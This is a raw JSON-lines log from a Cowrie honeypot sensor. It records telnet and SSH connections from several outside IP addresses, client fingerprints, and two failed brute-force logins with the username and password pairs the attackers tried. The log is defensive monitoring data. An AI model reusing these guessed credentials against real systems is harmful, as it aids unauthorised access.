{"eventid":"cowrie.session.connect","src_ip":"185.207.251.163","src_port":42956,"dst_ip":"159.203.135.109","dst_port":23,"session":"86f13a2a9a0c","protocol":"telnet","message":"New connection: 185.207.251.163:42956 (159.203.135.109:23) [session: 86f13a2a9a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:29.284617Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":50294,"dst_ip":"159.203.135.109","dst_port":23,"session":"af560f9f0d17","protocol":"telnet","message":"New connection: 94.23.76.26:50294 (159.203.135.109:23) [session: af560f9f0d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:29.720202Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":33430,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdf092f3b721","protocol":"telnet","message":"New connection: 46.4.8.162:33430 (159.203.135.109:23) [session: bdf092f3b721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:31.295668Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":33434,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbcafb765d05","protocol":"telnet","message":"New connection: 46.4.8.162:33434 (159.203.135.109:23) [session: dbcafb765d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:31.336948Z"}
{"eventid":"cowrie.session.closed","duration":30.89462637901306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:32.074758Z","src_ip":"94.23.76.26","session":"23d4b2e53fa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89017939567566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:32.290251Z","src_ip":"35.187.38.22","session":"9ba0a3aeaa9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":48080,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d6ccf22c813","protocol":"telnet","message":"New connection: 35.187.38.22:48080 (159.203.135.109:23) [session: 7d6ccf22c813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:32.375925Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":48718,"dst_ip":"159.203.135.109","dst_port":23,"session":"3764cd7aeba5","protocol":"telnet","message":"New connection: 35.187.38.22:48718 (159.203.135.109:23) [session: 3764cd7aeba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:32.447254Z"}
{"eventid":"cowrie.session.closed","duration":31.635870456695557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:32.956957Z","src_ip":"35.187.38.22","session":"164525b7d7fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":50306,"dst_ip":"159.203.135.109","dst_port":23,"session":"012b843cfa9b","protocol":"telnet","message":"New connection: 94.23.76.26:50306 (159.203.135.109:23) [session: 012b843cfa9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:33.432051Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":52452,"dst_ip":"159.203.135.109","dst_port":23,"session":"28117f890fff","protocol":"telnet","message":"New connection: 188.166.220.49:52452 (159.203.135.109:23) [session: 28117f890fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:34.833181Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40060,"dst_ip":"159.203.135.109","dst_port":23,"session":"301ae31e94c0","protocol":"telnet","message":"New connection: 46.4.8.162:40060 (159.203.135.109:23) [session: 301ae31e94c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:35.510740Z"}
{"eventid":"cowrie.session.closed","duration":31.079630613327026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:35.793198Z","src_ip":"46.4.8.162","session":"fb8416a6449b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.810171127319336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:36.097975Z","src_ip":"94.23.76.26","session":"0a372714e658","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73416805267334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:37.051587Z","src_ip":"94.23.76.26","session":"57b40625863b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.41181230545044,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:37.190610Z","src_ip":"46.4.8.162","session":"d34566422502","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904232263565063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:38.285222Z","src_ip":"35.187.38.22","session":"5850facff20c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89943289756775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:38.294377Z","src_ip":"35.187.38.22","session":"538579a7ca23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42612,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f68edf5a9a8","protocol":"ssh","message":"New connection: 159.203.92.129:42612 (159.203.135.109:22) [session: 1f68edf5a9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:38.795316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:38.810639Z","src_ip":"159.203.92.129","session":"1f68edf5a9a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:38.817429Z","src_ip":"159.203.92.129","session":"1f68edf5a9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pgj-heu05HQM=bMvz","message":"login attempt [admin/pgj-heu05HQM=bMvz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:38.850462Z","src_ip":"159.203.92.129","session":"1f68edf5a9a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.251.163","src_port":52518,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b0af851ba07","protocol":"telnet","message":"New connection: 185.207.251.163:52518 (159.203.135.109:23) [session: 8b0af851ba07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:39.237814Z"}
{"eventid":"cowrie.session.closed","duration":30.784791469573975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:39.270486Z","src_ip":"35.187.38.22","session":"b126c94465a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.037748336791992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:39.315856Z","src_ip":"35.187.38.22","session":"b886e04047aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.901137590408325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:39.323312Z","src_ip":"35.187.38.22","session":"419e4d4d9c00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:39.894845Z","src_ip":"159.203.92.129","session":"1f68edf5a9a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.877780199050903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:43.159664Z","src_ip":"185.207.251.163","session":"afbbb34f66dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829819202423096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:45.051581Z","src_ip":"94.23.76.26","session":"9acc8540167d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":40066,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaa3d8f1aaed","protocol":"telnet","message":"New connection: 94.23.76.26:40066 (159.203.135.109:23) [session: eaa3d8f1aaed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:45.230680Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":37764,"dst_ip":"159.203.135.109","dst_port":23,"session":"69935b1a0f51","protocol":"telnet","message":"New connection: 35.187.38.22:37764 (159.203.135.109:23) [session: 69935b1a0f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:46.304728Z"}
{"eventid":"cowrie.session.closed","duration":30.935093879699707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:46.310870Z","src_ip":"35.187.38.22","session":"de9f3a9772de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.428413152694702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:49.090485Z","src_ip":"94.23.76.26","session":"d171580f8686","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.196.64.77","src_port":51586,"dst_ip":"10.17.0.5","dst_port":22,"session":"62c2aaee8c63","protocol":"ssh","message":"New connection: 118.196.64.77:51586 (10.17.0.5:22) [session: 62c2aaee8c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:50.881050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:50.885958Z","src_ip":"118.196.64.77","session":"62c2aaee8c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35370,"dst_ip":"159.203.135.109","dst_port":23,"session":"e41461bbe268","protocol":"telnet","message":"New connection: 94.23.76.26:35370 (159.203.135.109:23) [session: e41461bbe268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:50.928763Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:51.142703Z","src_ip":"118.196.64.77","session":"62c2aaee8c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@123456","message":"login attempt [ubuntu/ubuntu@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:52.673597Z","src_ip":"118.196.64.77","session":"62c2aaee8c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":46486,"dst_ip":"159.203.135.109","dst_port":23,"session":"13b99dc31ff6","protocol":"telnet","message":"New connection: 35.187.38.22:46486 (159.203.135.109:23) [session: 13b99dc31ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:53.690763Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:53.933036Z","src_ip":"118.196.64.77","session":"62c2aaee8c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.747071504592896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:54.084258Z","src_ip":"94.23.76.26","session":"147aa345aa87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.993014335632324,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:54.174003Z","src_ip":"46.4.8.162","session":"0f7057cb6355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":35382,"dst_ip":"159.203.135.109","dst_port":23,"session":"26b20e347f6d","protocol":"telnet","message":"New connection: 94.23.76.26:35382 (159.203.135.109:23) [session: 26b20e347f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:54.214311Z"}
{"eventid":"cowrie.session.closed","duration":30.773735761642456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:54.219269Z","src_ip":"35.187.38.22","session":"7c7cec2980ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":49266,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fad43ef162b","protocol":"telnet","message":"New connection: 188.166.220.49:49266 (159.203.135.109:23) [session: 5fad43ef162b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:55.379860Z"}
{"eventid":"cowrie.session.closed","duration":30.833802700042725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:56.045858Z","src_ip":"94.23.76.26","session":"74a007e03181","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.251.163","src_port":46208,"dst_ip":"159.203.135.109","dst_port":23,"session":"488cd29b2b05","protocol":"telnet","message":"New connection: 185.207.251.163:46208 (159.203.135.109:23) [session: 488cd29b2b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:56.277379Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":59432,"dst_ip":"159.203.135.109","dst_port":23,"session":"d49b03deef98","protocol":"telnet","message":"New connection: 46.4.8.162:59432 (159.203.135.109:23) [session: d49b03deef98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:56.283725Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":59460,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d19e1c627d9","protocol":"telnet","message":"New connection: 46.4.8.162:59460 (159.203.135.109:23) [session: 2d19e1c627d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:56.488488Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":59448,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b582fecaf6d","protocol":"telnet","message":"New connection: 46.4.8.162:59448 (159.203.135.109:23) [session: 5b582fecaf6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:56.728468Z"}
{"eventid":"cowrie.session.closed","duration":30.843201637268066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:58.040193Z","src_ip":"94.23.76.26","session":"009131410419","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.719383478164673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:58.054340Z","src_ip":"94.23.76.26","session":"f5344142b18e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.251.163","src_port":46210,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d62111caf30","protocol":"telnet","message":"New connection: 185.207.251.163:46210 (159.203.135.109:23) [session: 8d62111caf30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:58.417179Z"}
{"eventid":"cowrie.session.closed","duration":32.66517496109009,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:23:59.124893Z","src_ip":"46.4.8.162","session":"91dc75093d01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.346208572387695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:00.066246Z","src_ip":"94.23.76.26","session":"af560f9f0d17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825133085250854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:00.109497Z","src_ip":"185.207.251.163","session":"86f13a2a9a0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":59786,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e8fdd67abc6","protocol":"telnet","message":"New connection: 94.23.76.26:59786 (159.203.135.109:23) [session: 6e8fdd67abc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:00.444488Z"}
{"eventid":"cowrie.session.closed","duration":36.675940990448,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:02.197331Z","src_ip":"46.4.8.162","session":"0cf29e7cf26f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74070715904236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:03.187808Z","src_ip":"35.187.38.22","session":"3764cd7aeba5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.896061420440674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:03.271865Z","src_ip":"35.187.38.22","session":"7d6ccf22c813","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.54836440086365,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:03.477366Z","src_ip":"46.4.8.162","session":"6c5bbf587058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":59474,"dst_ip":"159.203.135.109","dst_port":23,"session":"14548f6f46f1","protocol":"telnet","message":"New connection: 46.4.8.162:59474 (159.203.135.109:23) [session: 14548f6f46f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:03.775174Z"}
{"eventid":"cowrie.session.closed","duration":30.67038059234619,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:04.102308Z","src_ip":"94.23.76.26","session":"012b843cfa9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4311037063598633,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:05.206133Z","src_ip":"46.4.8.162","session":"14548f6f46f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.32133626937866,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:05.616896Z","src_ip":"46.4.8.162","session":"bdf092f3b721","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.3044376373291,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:06.641310Z","src_ip":"46.4.8.162","session":"dbcafb765d05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":41318,"dst_ip":"159.203.135.109","dst_port":23,"session":"a30ce306fc42","protocol":"telnet","message":"New connection: 46.4.8.162:41318 (159.203.135.109:23) [session: a30ce306fc42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:06.897060Z"}
{"eventid":"cowrie.session.closed","duration":33.392584800720215,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:08.903165Z","src_ip":"46.4.8.162","session":"301ae31e94c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.76.26","src_port":57422,"dst_ip":"159.203.135.109","dst_port":23,"session":"c284b85ec691","protocol":"telnet","message":"New connection: 94.23.76.26:57422 (159.203.135.109:23) [session: c284b85ec691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:09.339768Z"}
{"eventid":"cowrie.session.closed","duration":34.68026423454285,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:09.513328Z","src_ip":"188.166.220.49","session":"28117f890fff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.021807432174683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:10.259488Z","src_ip":"185.207.251.163","session":"8b0af851ba07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.251.163","src_port":58358,"dst_ip":"159.203.135.109","dst_port":23,"session":"40dd83d30b31","protocol":"telnet","message":"New connection: 185.207.251.163:58358 (159.203.135.109:23) [session: 40dd83d30b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:24:11.309220Z"}
